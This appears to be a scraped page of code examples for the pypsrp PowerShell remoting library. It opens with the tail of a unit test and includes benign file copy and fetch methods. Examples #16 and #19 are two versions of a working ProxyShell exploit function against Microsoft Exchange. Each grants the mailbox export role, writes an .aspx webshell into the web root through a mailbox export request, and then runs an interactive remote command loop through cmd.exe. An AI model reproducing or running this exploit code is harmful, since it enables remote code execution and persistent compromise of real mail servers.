                          PowerShell)
        assert mock_prompt_credential.call_args[0][2] == \
            "PromptForCredential caption"
        assert mock_prompt_credential.call_args[0][3] == \
            "PromptForCredential message"
        assert mock_prompt_credential.call_args[0][4] == \
            "PromptForCredential user"
        assert mock_prompt_credential.call_args[0][5] == \
            "PromptForCredential target"
        assert mock_prompt_credential.call_args[0][6] == 3
        assert mock_prompt_credential.call_args[0][7] == 1

        assert actual[4] == 1
        assert mock_prompt_choice.call_count == 1
        assert isinstance(mock_prompt_choice.call_args[0][0], RunspacePool)
        assert isinstance(mock_prompt_choice.call_args[0][1], PowerShell)
        assert mock_prompt_choice.call_args[0][2] == "PromptForChoice caption"
        assert mock_prompt_choice.call_args[0][3] == "PromptForChoice message"
        assert isinstance(mock_prompt_choice.call_args[0][4], list)
        assert len(mock_prompt_choice.call_args[0][4]) == 2
        assert mock_prompt_choice.call_args[0][4][0].extended_properties[
            'label'] == "Prompt1 label"
        assert mock_prompt_choice.call_args[0][4][0].extended_properties[
            'helpMessage'] == "Prompt1 help"
        assert mock_prompt_choice.call_args[0][4][1].extended_properties[
            'label'] == "Prompt2 label"
        assert mock_prompt_choice.call_args[0][4][1].extended_properties[
            'helpMessage'] == "Prompt2 help"
Example #16
0
def shell(command, port, proxyshell):

    # From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
    if command.lower() in ['exit', 'quit']:
        exit()
    powershell_url = f'/Powershell?X-Rps-CAT={proxyshell.token}'
    suffix = f'&Email=autodiscover/autodiscover.json%3F{proxyshell.rand_email_split}'
    path = f'autodiscover/autodiscover.json?{proxyshell.rand_email_split}{powershell_url}{suffix}'

    wsman = WSMan(proxyshell.exchange_url.replace("https://", ""),
                  path=path,
                  ssl="true",
                  port=443,
                  cert_validation=False)
    with RunspacePool(wsman, configuration_name='Microsoft.Exchange') as pool:

        if command.lower().strip() == 'dropshell':
            drop_shell(proxyshell)
            #New-MailboxExportRequest might fail. Use New-ExchangeCertificate to get RCE

            ps = PowerShell(pool)
            ps.add_cmdlet('New-ManagementRoleAssignment').add_parameter(
                'Role',
                'Mailbox Import Export').add_parameter('User',
                                                       proxyshell.email)
            output = ps.invoke()
            print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
            print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))

            ps = PowerShell(pool)
            ps.add_cmdlet('New-MailboxExportRequest').add_parameter(
                'Mailbox', proxyshell.email
            ).add_parameter(
                'FilePath',
                f'\\\\localhost\\c$\\inetpub\\wwwroot\\aspnet_client\\{proxyshell.rand_subj}.aspx'
            ).add_parameter('IncludeFolders', '#Drafts#').add_parameter(
                'ContentFilter', f'Subject -eq \'{proxyshell.rand_subj}\'')
            output = ps.invoke()

            print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
            print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))

            shell_url = f'{proxyshell.exchange_url}/aspnet_client/{proxyshell.rand_subj}.aspx'
            print(f'Shell URL: {shell_url}')
            for i in range(10):
                print(f'Testing shell {i}')
                r = requests.get(shell_url, verify=proxyshell.session.verify)
                if r.status_code == 200:
                    delimit = rand_string()

                    while True:
                        cmd = input('Shell> ')
                        if cmd.lower() in ['exit', 'quit']:
                            return

                        exec_code = f'Response.Write("{delimit}" + new ActiveXObject("WScript.Shell").Exec("cmd.exe /c {cmd}").StdOut.ReadAll() + "{delimit}");'
                        r = requests.get(shell_url,
                                         params={'exec_code': exec_code},
                                         verify=proxyshell.session.verify)
                        output = r.content.split(delimit.encode())[1]
                        print(output.decode())

                time.sleep(5)
                i += 1

            print('Shell drop failed :(')
            return

        else:
            ps = PowerShell(pool)
            ps.add_script(command)
            output = ps.invoke()

    print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
    print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))
Example #17
0
    def copy(self,
             src,
             dest,
             configuration_name=DEFAULT_CONFIGURATION_NAME,
             expand_variables=False):
        """
        Copies a single file from the current host to the remote Windows host.
        This can be quite slow when it comes to large files due to the
        limitations of WinRM but it is designed to be as fast as it can be.
        During the copy process, the bytes will be stored in a temporary file
        before being copied.

        When copying it will replace the file at dest if one already exists. It
        also will verify the checksum of the copied file is the same as the
        actual file locally before copying the file to the path at dest.

        :param src: The path to the local file
        :param dest: The path to the destination file on the Windows host
        :param configuration_name: The PowerShell configuration endpoint to
            use when copying the file.
        :param expand_variables: Expand variables in path. Disabled by default
            Enable for cmd like expansion (for example %TMP% in path)
        :return: The absolute path of the file on the Windows host
        """
        def read_buffer(b_path, total_size, buffer_size):
            offset = 0
            sha1 = hashlib.sha1()

            with open(b_path, 'rb') as src_file:
                for data in iter((lambda: src_file.read(buffer_size)), b""):
                    log.debug(
                        "Reading data of file at offset=%d with size=%d" %
                        (offset, buffer_size))
                    offset += len(data)
                    sha1.update(data)
                    b64_data = base64.b64encode(data)

                    result = [to_unicode(b64_data)]
                    if offset == total_size:
                        result.append(
                            to_unicode(
                                base64.b64encode(to_bytes(sha1.hexdigest()))))

                    yield result

                # the file was empty, return empty buffer
                if offset == 0:
                    yield [
                        u"",
                        to_unicode(base64.b64encode(to_bytes(
                            sha1.hexdigest())))
                    ]

        if expand_variables:
            src = os.path.expanduser(os.path.expandvars(src))
        b_src = to_bytes(src)
        src_size = os.path.getsize(b_src)
        log.info("Copying '%s' to '%s' with a total size of %d" %
                 (src, dest, src_size))

        with RunspacePool(self.wsman,
                          configuration_name=configuration_name) as pool:
            # Get the buffer size of each fragment to send, subtract. Adjust to size of the base64 encoded bytes. Also
            # subtract 82 for the fragment, message, and other header info that PSRP adds.
            buffer_size = int((self.wsman.max_payload_size - 82) / 4 * 3)

            log.info("Creating file reader with a buffer size of %d" %
                     buffer_size)
            read_gen = read_buffer(b_src, src_size, buffer_size)

            command = get_pwsh_script('copy.ps1')
            log.debug("Starting to send file data to remote process")
            powershell = PowerShell(pool)
            powershell.add_script(command) \
                .add_argument(dest) \
                .add_argument(expand_variables)
            powershell.invoke(input=read_gen)
            _handle_powershell_error(powershell, "Failed to copy file")

        log.debug("Finished sending file data to remote process")
        for warning in powershell.streams.warning:
            warnings.warn(str(warning))

        output_file = to_unicode(powershell.output[-1]).strip()
        log.info("Completed file transfer of '%s' to '%s'" %
                 (src, output_file))
        return output_file
Example #18
0
    def fetch(self, src, dest):
        """
        Will fetch a single file from the remote Windows host and create a
        local copy. Like copy(), this can be slow when it comes to fetching
        large files due to the limitation of WinRM.

        This method will first store the file in a temporary location before
        creating or replacing the file at dest if the checksum is correct.

        :param src: The path to the file on the remote host to fetch
        :param dest: The path on the localhost host to store the file as
        """
        dest = os.path.expanduser(os.path.expandvars(dest))
        log.info("Fetching '%s' to '%s'" % (src, dest))

        self.wsman.update_max_payload_size()

        # Need to output as a base64 string as PS Runspaces will create an
        # individual byte objects for each byte in a byte array which has way
        # more overhead than a single base64 string.
        # I also wanted to output in chunks and have the local side process
        # the output in parallel for large files but it seems like the base64
        # stream is getting sent in one chunk when in a loop so scratch that
        # idea
        script = '''$ErrorActionPreference = 'Stop'
$algo = [System.Security.Cryptography.SHA1CryptoServiceProvider]::Create()
$src = New-Object -TypeName System.IO.FileInfo -ArgumentList '%s'
if ("Directory" -in $src.Attributes.ToString()) {
    throw "The path at '$($src.FullName)' is a directory, src must be a file"
} elseif (-not $src.Exists) {
    throw "The path at '$($src.FullName)' does not exist"
}

$buffer_size = 4096
$offset = 0
$fs = $src.OpenRead()
$total_bytes = $fs.Length
$bytes_to_read = $total_bytes - $offset
try {
    while ($bytes_to_read -ne 0) {
        $bytes = New-Object -TypeName byte[] -ArgumentList $bytes_to_read
        $read = $fs.Read($bytes, $offset, $bytes_to_read)

        Write-Output -InputObject ([System.Convert]::ToBase64String($bytes))
        $bytes_to_read -= $read
        $offset += $read

        $algo.TransformBlock($bytes, 0, $bytes.Length, $bytes, 0) > $null
    }
} finally {
    $fs.Dispose()
}

$algo.TransformFinalBlock($bytes, 0, 0) > $Null
$hash = [System.BitConverter]::ToString($algo.Hash)
$hash.Replace("-", "").ToLowerInvariant()''' % src

        with RunspacePool(self.wsman) as pool:
            powershell = PowerShell(pool)
            powershell.add_script(script)
            log.info("Starting remote process to output file data")
            powershell.invoke()
            log.info("Finished remote process to output file data")

            if powershell.had_errors:
                errors = powershell.streams.error
                error = "\n".join([str(err) for err in errors])
                raise WinRMError("Failed to fetch file %s: %s" % (src, error))
            expected_hash = powershell.output[-1]

            temp_file, path = tempfile.mkstemp()
            try:
                file_bytes = base64.b64decode(powershell.output[0])
                os.write(temp_file, file_bytes)

                sha1 = hashlib.sha1()
                sha1.update(file_bytes)
                actual_hash = sha1.hexdigest()

                log.debug("Remote Hash: %s, Local Hash: %s"
                          % (expected_hash, actual_hash))
                if actual_hash != expected_hash:
                    raise WinRMError("Failed to fetch file %s, hash mismatch\n"
                                     "Source: %s\nFetched: %s"
                                     % (src, expected_hash, actual_hash))
                shutil.copy(path, dest)
            finally:
                os.close(temp_file)
                os.remove(path)
Example #19
0
def shell(command, port, proxyshell):

    # From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
    if command.lower() in ['exit', 'quit']:
        exit()

    wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never')
    with RunspacePool(wsman, configuration_name='Microsoft.Exchange') as pool:
        

        if command.lower().strip() == 'dropshell':
            drop_shell(proxyshell)

            ps = PowerShell(pool)
            ps.add_cmdlet('New-ManagementRoleAssignment').add_parameter('Role', 'Mailbox Import Export').add_parameter('User', proxyshell.email)
            output = ps.invoke()
            print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
            print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))

            ps = PowerShell(pool)
            ps.add_cmdlet(
                'New-MailboxExportRequest'
            ).add_parameter(
                'Mailbox', proxyshell.email
            ).add_parameter(
                'FilePath', f'\\\\localhost\\c$\\inetpub\\wwwroot\\aspnet_client\\{proxyshell.rand_subj}.aspx'
            ).add_parameter(
                'IncludeFolders', '#Drafts#'
            ).add_parameter(
                'ContentFilter', f'Subject -eq \'{proxyshell.rand_subj}\''
            )
            output = ps.invoke()

            print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
            print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))

            shell_url = f'{proxyshell.exchange_url}/aspnet_client/{proxyshell.rand_subj}.aspx'
            print(f'Shell URL: {shell_url}')
            for i in range(10):
                print(f'Testing shell {i}')
                r = requests.get(shell_url, verify=proxyshell.session.verify)
                if r.status_code == 200:
                    delimit = rand_string()
                    
                    while True:
                        cmd = input('Shell> ')
                        if cmd.lower() in ['exit', 'quit']:
                            return

                        exec_code = f'Response.Write("{delimit}" + new ActiveXObject("WScript.Shell").Exec("cmd.exe /c {cmd}").StdOut.ReadAll() + "{delimit}");'
                        r = requests.get(
                            shell_url,
                            params={
                                'exec_code':exec_code
                            },
                            verify=proxyshell.session.verify
                        )
                        output = r.content.split(delimit.encode())[1]
                        print(output.decode())

                time.sleep(5)
                i += 1

            print('Shell drop failed :(')
            return

        else:
            ps = PowerShell(pool)
            ps.add_script(command)
            output = ps.invoke()

    print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
    print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))